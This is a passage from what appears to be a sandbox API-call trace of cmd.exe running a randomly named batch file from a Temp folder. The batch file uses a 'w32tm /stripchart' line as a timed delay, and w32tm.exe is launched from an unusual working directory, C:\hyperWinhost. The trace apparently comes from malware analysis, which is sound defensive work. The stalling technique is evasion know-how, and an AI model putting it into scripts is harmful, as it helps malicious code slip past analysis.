0x424860 [0094.498] FindClose (in: hFindFile=0x4297a0 | out: hFindFile=0x4297a0) returned 1 [0094.498] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1 [0094.498] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0 [0094.498] GetConsoleTitleW (in: lpConsoleTitle=0x2bf5d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0094.498] GetProcessHeap () returned 0x410000 [0094.499] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x1e8) returned 0x4297a0 [0094.499] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0094.505] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SaferIdentifyLevel") returned 0x7feffcce470 [0094.506] IdentifyCodeAuthzLevelW () returned 0x1 [0094.560] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SaferComputeTokenFromLevel") returned 0x7feffccf9b0 [0094.560] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0094.560] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SaferCloseLevel") returned 0x7feffccf660 [0094.560] CloseCodeAuthzLevel () returned 0x1 [0094.560] SetErrorMode (uMode=0x0) returned 0x0 [0094.560] SetErrorMode (uMode=0x1) returned 0x0 [0094.560] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dtIah84Nm9.bat", nBufferLength=0x104, lpBuffer=0x4292f0, lpFilePart=0x2bf400 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dtIah84Nm9.bat", lpFilePart=0x2bf400*="dtIah84Nm9.bat") returned 0x34 [0094.560] SetErrorMode (uMode=0x0) returned 0x1 [0094.560] GetProcessHeap () returned 0x410000 [0094.560] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x7a) returned 0x43a980 [0094.560] wcsspn (_String=" ", _Control=" \x09") returned 0x1 [0094.561] GetProcessHeap () returned 0x410000 [0094.561] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x12) returned 0x43a160 [0094.561] GetProcessHeap () returned 0x410000 [0094.561] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x14) returned 0x43a180 [0094.561] GetProcessHeap () returned 0x410000 [0094.561] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x43a180, Size=0x14) returned 0x43a1a0 [0094.561] GetProcessHeap () returned 0x410000 [0094.561] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x43a1a0) returned 0x14 [0094.561] CmdBatNotification () returned 0x0 [0094.561] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dtIah84Nm9.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dtiah84nm9.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x2bf468, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60 [0094.561] _open_osfhandle (_OSFileHandle=0x60, _Flags=8) returned 3 [0094.561] _get_osfhandle (_FileHandle=3) returned 0x60 [0094.561] SetFilePointer (in: hFile=0x60, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.562] _get_osfhandle (_FileHandle=3) returned 0x60 [0094.562] SetFilePointer (in: hFile=0x60, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.562] ReadFile (in: hFile=0x60, lpBuffer=0x4a65c320, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x2bf270, lpOverlapped=0x0 | out: lpBuffer=0x4a65c320*, lpNumberOfBytesRead=0x2bf270*=0xc4, lpOverlapped=0x0) returned 1 [0094.567] SetFilePointer (in: hFile=0x60, lDistanceToMove=11, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0094.567] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr="@echo off\r\n", cbMultiByte=11, lpWideCharStr=0x4a65e320, cchWideChar=8191 | out: lpWideCharStr="@echo off\r\n") returned 11 [0094.567] _get_osfhandle (_FileHandle=3) returned 0x60 [0094.568] GetFileType (hFile=0x60) returned 0x1 [0094.568] _get_osfhandle (_FileHandle=3) returned 0x60 [0094.568] SetFilePointer (in: hFile=0x60, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0094.568] GetProcessHeap () returned 0x410000 [0094.568] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x4012) returned 0x42b640 [0094.568] GetProcessHeap () returned 0x410000 [0094.569] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42b640 | out: hHeap=0x410000) returned 1 [0094.569] GetProcessHeap () returned 0x410000 [0094.569] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xb0) returned 0x43aa10 [0094.569] _wcsicmp (_String1="echo", _String2=")") returned 60 [0094.569] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0094.569] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0094.569] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0094.569] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0094.570] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0094.570] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0094.570] GetProcessHeap () returned 0x410000 [0094.570] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xb0) returned 0x43aad0 [0094.570] GetProcessHeap () returned 0x410000 [0094.570] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x1a) returned 0x424890 [0094.570] GetProcessHeap () returned 0x410000 [0094.570] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x1a) returned 0x437c30 [0094.571] _tell (_FileHandle=3) returned 11 [0094.571] _close (_FileHandle=3) returned 0 [0094.571] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0094.571] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0094.571] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0094.571] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0094.571] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0094.572] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0094.572] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0094.572] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0094.572] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0094.572] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0094.572] GetConsoleTitleW (in: lpConsoleTitle=0x2bf210, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0094.572] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0094.572] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0094.572] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0094.572] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0094.572] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0094.572] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0094.572] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0094.572] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0094.572] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0094.572] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0094.572] GetProcessHeap () returned 0x410000 [0094.572] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x24) returned 0x437c60 [0094.573] GetProcessHeap () returned 0x410000 [0094.573] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x437c60, Size=0x1a) returned 0x437c90 [0094.573] GetProcessHeap () returned 0x410000 [0094.573] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x437c90) returned 0x1a [0094.573] GetProcessHeap () returned 0x410000 [0094.573] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x24) returned 0x437c60 [0094.573] _wcsnicmp (_String1="off", _String2="off", _MaxCount=0x3) returned 0 [0094.573] _get_osfhandle (_FileHandle=1) returned 0x7 [0094.573] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0094.573] _get_osfhandle (_FileHandle=1) returned 0x7 [0094.573] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a64e194 | out: lpMode=0x4a64e194) returned 1 [0094.574] _get_osfhandle (_FileHandle=0) returned 0x3 [0094.574] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a64e198 | out: lpMode=0x4a64e198) returned 1 [0094.574] SetConsoleInputExeNameW () returned 0x1 [0094.574] GetConsoleOutputCP () returned 0x1b5 [0094.574] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a65bfe0 | out: lpCPInfo=0x4a65bfe0) returned 1 [0094.574] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0094.574] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dtIah84Nm9.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dtiah84nm9.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x2bf468, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60 [0094.575] _open_osfhandle (_OSFileHandle=0x60, _Flags=8) returned 3 [0094.575] _get_osfhandle (_FileHandle=3) returned 0x60 [0094.575] SetFilePointer (in: hFile=0x60, lDistanceToMove=11, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0094.575] GetProcessHeap () returned 0x410000 [0094.575] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x437c60 | out: hHeap=0x410000) returned 1 [0094.575] GetProcessHeap () returned 0x410000 [0094.575] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x437c90 | out: hHeap=0x410000) returned 1 [0094.575] GetProcessHeap () returned 0x410000 [0094.575] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x437c30 | out: hHeap=0x410000) returned 1 [0094.575] GetProcessHeap () returned 0x410000 [0094.575] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x424890 | out: hHeap=0x410000) returned 1 [0094.575] GetProcessHeap () returned 0x410000 [0094.575] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x43aad0 | out: hHeap=0x410000) returned 1 [0094.575] GetProcessHeap () returned 0x410000 [0094.576] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x43aa10 | out: hHeap=0x410000) returned 1 [0094.576] _get_osfhandle (_FileHandle=3) returned 0x60 [0094.576] SetFilePointer (in: hFile=0x60, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0094.576] ReadFile (in: hFile=0x60, lpBuffer=0x4a65c320, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x2bf270, lpOverlapped=0x0 | out: lpBuffer=0x4a65c320*, lpNumberOfBytesRead=0x2bf270*=0xb9, lpOverlapped=0x0) returned 1 [0094.576] SetFilePointer (in: hFile=0x60, lDistanceToMove=88, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x58 [0094.576] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr="w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 1>nul\r\n", cbMultiByte=77, lpWideCharStr=0x4a65e320, cchWideChar=8191 | out: lpWideCharStr="w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 1>nul\r\n") returned 77 [0094.577] _get_osfhandle (_FileHandle=3) returned 0x60 [0094.577] GetFileType (hFile=0x60) returned 0x1 [0094.577] _get_osfhandle (_FileHandle=3) returned 0x60 [0094.577] SetFilePointer (in: hFile=0x60, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x58 [0094.577] GetProcessHeap () returned 0x410000 [0094.577] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x4012) returned 0x42b640 [0094.577] GetProcessHeap () returned 0x410000 [0094.577] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42b640 | out: hHeap=0x410000) returned 1 [0094.580] _tell (_FileHandle=3) returned 88 [0094.580] _close (_FileHandle=3) returned 0 [0094.581] _wcsicmp (_String1="w32tm", _String2="DIR") returned 19 [0094.581] _wcsicmp (_String1="w32tm", _String2="ERASE") returned 18 [0094.581] _wcsicmp (_String1="w32tm", _String2="DEL") returned 19 [0094.581] _wcsicmp (_String1="w32tm", _String2="TYPE") returned 3 [0094.581] _wcsicmp (_String1="w32tm", _String2="COPY") returned 20 [0094.581] _wcsicmp (_String1="w32tm", _String2="CD") returned 20 [0094.581] _wcsicmp (_String1="w32tm", _String2="CHDIR") returned 20 [0094.581] _wcsicmp (_String1="w32tm", _String2="RENAME") returned 5 [0094.581] _wcsicmp (_String1="w32tm", _String2="REN") returned 5 [0094.581] _wcsicmp (_String1="w32tm", _String2="ECHO") returned 18 [0094.581] _wcsicmp (_String1="w32tm", _String2="SET") returned 4 [0094.581] _wcsicmp (_String1="w32tm", _String2="PAUSE") returned 7 [0094.581] _wcsicmp (_String1="w32tm", _String2="DATE") returned 19 [0094.581] _wcsicmp (_String1="w32tm", _String2="TIME") returned 3 [0094.581] _wcsicmp (_String1="w32tm", _String2="PROMPT") returned 7 [0094.581] _wcsicmp (_String1="w32tm", _String2="MD") returned 10 [0094.581] _wcsicmp (_String1="w32tm", _String2="MKDIR") returned 10 [0094.581] _wcsicmp (_String1="w32tm", _String2="RD") returned 5 [0094.581] _wcsicmp (_String1="w32tm", _String2="RMDIR") returned 5 [0094.581] _wcsicmp (_String1="w32tm", _String2="PATH") returned 7 [0094.581] _wcsicmp (_String1="w32tm", _String2="GOTO") returned 16 [0094.581] _wcsicmp (_String1="w32tm", _String2="SHIFT") returned 4 [0094.581] _wcsicmp (_String1="w32tm", _String2="CLS") returned 20 [0094.581] _wcsicmp (_String1="w32tm", _String2="CALL") returned 20 [0094.581] _wcsicmp (_String1="w32tm", _String2="VERIFY") returned 1 [0094.581] _wcsicmp (_String1="w32tm", _String2="VER") returned 1 [0094.581] _wcsicmp (_String1="w32tm", _String2="VOL") returned 1 [0094.581] _wcsicmp (_String1="w32tm", _String2="EXIT") returned 18 [0094.581] _wcsicmp (_String1="w32tm", _String2="SETLOCAL") returned 4 [0094.582] _wcsicmp (_String1="w32tm", _String2="ENDLOCAL") returned 18 [0094.582] _wcsicmp (_String1="w32tm", _String2="TITLE") returned 3 [0094.582] _wcsicmp (_String1="w32tm", _String2="START") returned 4 [0094.582] _wcsicmp (_String1="w32tm", _String2="DPATH") returned 19 [0094.582] _wcsicmp (_String1="w32tm", _String2="KEYS") returned 12 [0094.582] _wcsicmp (_String1="w32tm", _String2="MOVE") returned 10 [0094.582] _wcsicmp (_String1="w32tm", _String2="PUSHD") returned 7 [0094.582] _wcsicmp (_String1="w32tm", _String2="POPD") returned 7 [0094.582] _wcsicmp (_String1="w32tm", _String2="ASSOC") returned 22 [0094.582] _wcsicmp (_String1="w32tm", _String2="FTYPE") returned 17 [0094.582] _wcsicmp (_String1="w32tm", _String2="BREAK") returned 21 [0094.582] _wcsicmp (_String1="w32tm", _String2="COLOR") returned 20 [0094.582] _wcsicmp (_String1="w32tm", _String2="MKLINK") returned 10 [0094.582] SetErrorMode (uMode=0x0) returned 0x0 [0094.582] SetErrorMode (uMode=0x1) returned 0x0 [0094.582] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x43ab80, lpFilePart=0x2bf250 | out: lpBuffer="C:\\hyperWinhost", lpFilePart=0x2bf250*="hyperWinhost") returned 0xf [0094.582] SetErrorMode (uMode=0x0) returned 0x1 [0094.582] GetProcessHeap () returned 0x410000 [0094.582] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x43ab70, Size=0x3c) returned 0x43ab70 [0094.582] GetProcessHeap () returned 0x410000 [0094.582] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x43ab70) returned 0x3c [0094.582] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a64f360, nSize=0x2000 | out: lpBuffer="") returned 0xc8 [0094.582] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0094.583] GetProcessHeap () returned 0x410000 [0094.583] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x1c6) returned 0x43abc0 [0094.583] GetProcessHeap () returned 0x410000 [0094.583] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x37c) returned 0x42b640 [0094.583] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x42b640, Size=0x1c8) returned 0x42b640 [0094.583] GetProcessHeap () returned 0x410000 [0094.583] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x42b640) returned 0x1c8 [0094.583] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a64f360, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0094.583] GetProcessHeap () returned 0x410000 [0094.583] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xe8) returned 0x43ad90 [0094.583] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x43ad90, Size=0x7e) returned 0x43ad90 [0094.583] GetProcessHeap () returned 0x410000 [0094.583] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x43ad90) returned 0x7e [0094.583] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0094.583] FindFirstFileExW (in: lpFileName="C:\\hyperWinhost\\w32tm.*" (normalized: "c:\\hyperwinhost\\w32tm.*"), fInfoLevelId=0x1, lpFindFileData=0x2befc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2befc0) returned 0xffffffffffffffff [0094.583] GetLastError () returned 0x2 [0094.583] FindFirstFileExW (in: lpFileName="C:\\hyperWinhost\\w32tm" (normalized: "c:\\hyperwinhost\\w32tm"), fInfoLevelId=0x1, lpFindFileData=0x2befc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2befc0) returned 0xffffffffffffffff [0094.584] GetLastError () returned 0x2 [0094.584] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0094.584] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\w32tm.*" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\w32tm.*"), fInfoLevelId=0x1, lpFindFileData=0x2befc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2befc0) returned 0xffffffffffffffff [0094.584] GetLastError () returned 0x2 [0094.584] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\w32tm" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\w32tm"), fInfoLevelId=0x1, lpFindFileData=0x2befc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2befc0) returned 0xffffffffffffffff [0094.584] GetLastError () returned 0x2 [0094.584] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0094.584] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\w32tm.*" (normalized: "c:\\windows\\system32\\w32tm.*"), fInfoLevelId=0x1, lpFindFileData=0x2befc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2befc0) returned 0x43ae20 [0094.585] GetProcessHeap () returned 0x410000 [0094.585] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x424860, Size=0x8) returned 0x43ae80 [0094.585] FindClose (in: hFindFile=0x43ae20 | out: hFindFile=0x43ae20) returned 1 [0094.585] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\w32tm.COM" (normalized: "c:\\windows\\system32\\w32tm.com"), fInfoLevelId=0x1, lpFindFileData=0x2befc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2befc0) returned 0xffffffffffffffff [0094.585] GetLastError () returned 0x2 [0094.585] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\w32tm.EXE" (normalized: "c:\\windows\\system32\\w32tm.exe"), fInfoLevelId=0x1, lpFindFileData=0x2befc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2befc0) returned 0x43ae20 [0094.585] FindClose (in: hFindFile=0x43ae20 | out: hFindFile=0x43ae20) returned 1 [0094.585] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0094.585] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0094.585] _get_osfhandle (_FileHandle=1) returned 0x7 [0094.585] _get_osfhandle (_FileHandle=1) returned 0x7 [0094.585] _get_osfhandle (_FileHandle=1) returned 0x7 [0094.585] GetFileType (hFile=0x7) returned 0x2 [0094.586] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0094.587] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2bf1d8 | out: lpMode=0x2bf1d8) returned 1 [0094.587] _dup (_FileHandle=1) returned 3 [0094.587] _close (_FileHandle=1) returned 0 [0094.588] _wcsicmp (_String1="nul", _String2="con") returned 11 [0094.588] CreateFileW (lpFileName="nul" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x2bf188, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60 [0094.588] _open_osfhandle (_OSFileHandle=0x60, _Flags=8) returned 1 [0094.588] GetConsoleTitleW (in: lpConsoleTitle=0x2bf210, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0094.588] SetErrorMode (uMode=0x0) returned 0x0 [0094.588] SetErrorMode (uMode=0x1) returned 0x0 [0094.588] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x42ba50, lpFilePart=0x2beaa0 | out: lpBuffer="C:\\hyperWinhost", lpFilePart=0x2beaa0*="hyperWinhost") returned 0xf [0094.588] SetErrorMode (uMode=0x0) returned 0x1 [0094.588] GetProcessHeap () returned 0x410000 [0094.588] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x42ba40, Size=0x3c) returned 0x42ba40 [0094.589] GetProcessHeap () returned 0x410000 [0094.589] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x42ba40) returned 0x3c [0094.589] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a64f360, nSize=0x2000 | out: lpBuffer="") returned 0xc8 [0094.589] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0094.589] GetProcessHeap () returned 0x410000 [0094.589] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x1c6) returned 0x42ba90 [0094.589] GetProcessHeap () returned 0x410000 [0094.589] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x37c) returned 0x42bc60 [0094.589] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x42bc60, Size=0x1c8) returned 0x42bc60 [0094.589] GetProcessHeap () returned 0x410000 [0094.589] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x42bc60) returned 0x1c8 [0094.589] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a64f360, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0094.589] GetProcessHeap () returned 0x410000 [0094.589] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xe8) returned 0x42be40 [0094.589] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x42be40, Size=0x7e) returned 0x42be40 [0094.589] GetProcessHeap () returned 0x410000 [0094.589] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x42be40) returned 0x7e [0094.589] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0094.589] FindFirstFileExW (in: lpFileName="C:\\hyperWinhost\\w32tm.*" (normalized: "c:\\hyperwinhost\\w32tm.*"), fInfoLevelId=0x1, lpFindFileData=0x2be810, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2be810) returned 0xffffffffffffffff [0094.589] GetLastError () returned 0x2 [0094.589] FindFirstFileExW (in: lpFileName="C:\\hyperWinhost\\w32tm" (normalized: "c:\\hyperwinhost\\w32tm"), fInfoLevelId=0x1, lpFindFileData=0x2be810, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2be810) returned 0xffffffffffffffff [0094.590] GetLastError () returned 0x2 [0094.590] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0094.590] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\w32tm.*" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\w32tm.*"), fInfoLevelId=0x1, lpFindFileData=0x2be810, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2be810) returned 0xffffffffffffffff [0094.590] GetLastError () returned 0x2 [0094.590] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\w32tm" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\w32tm"), fInfoLevelId=0x1, lpFindFileData=0x2be810, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2be810) returned 0xffffffffffffffff [0094.590] GetLastError () returned 0x2 [0094.590] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0094.590] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\w32tm.*" (normalized: "c:\\windows\\system32\\w32tm.*"), fInfoLevelId=0x1, lpFindFileData=0x2be810, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2be810) returned 0x43ae20 [0094.590] FindClose (in: hFindFile=0x43ae20 | out: hFindFile=0x43ae20) returned 1 [0094.591] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\w32tm.COM" (normalized: "c:\\windows\\system32\\w32tm.com"), fInfoLevelId=0x1, lpFindFileData=0x2be810, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2be810) returned 0xffffffffffffffff [0094.591] GetLastError () returned 0x2 [0094.591] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\w32tm.EXE" (normalized: "c:\\windows\\system32\\w32tm.exe"), fInfoLevelId=0x1, lpFindFileData=0x2be810, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2be810) returned 0x43ae20 [0094.591] FindClose (in: hFindFile=0x43ae20 | out: hFindFile=0x43ae20) returned 1 [0094.591] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0094.591] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0094.591] GetConsoleTitleW (in: lpConsoleTitle=0x2bed60, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0094.591] InitializeProcThreadAttributeList (in: lpAttributeList=0x2beb18, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2bead8 | out: lpAttributeList=0x2beb18, lpSize=0x2bead8) returned 1 [0094.591] UpdateProcThreadAttribute (in: lpAttributeList=0x2beb18, dwFlags=0x0, Attribute=0x60001, lpValue=0x2beac8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2beb18, lpPreviousValue=0x0) returned 1 [0094.591] GetStartupInfoW (in: lpStartupInfo=0x2bec30 | out: lpStartupInfo=0x2bec30*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0094.592] lstrcmpW (lpString1="\\w32tm.exe", lpString2="\\XCOPY.EXE") returned -1 [0094.594] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\w32tm.exe", lpCommandLine="w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\hyperWinhost", lpStartupInfo=0x2beb50*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", 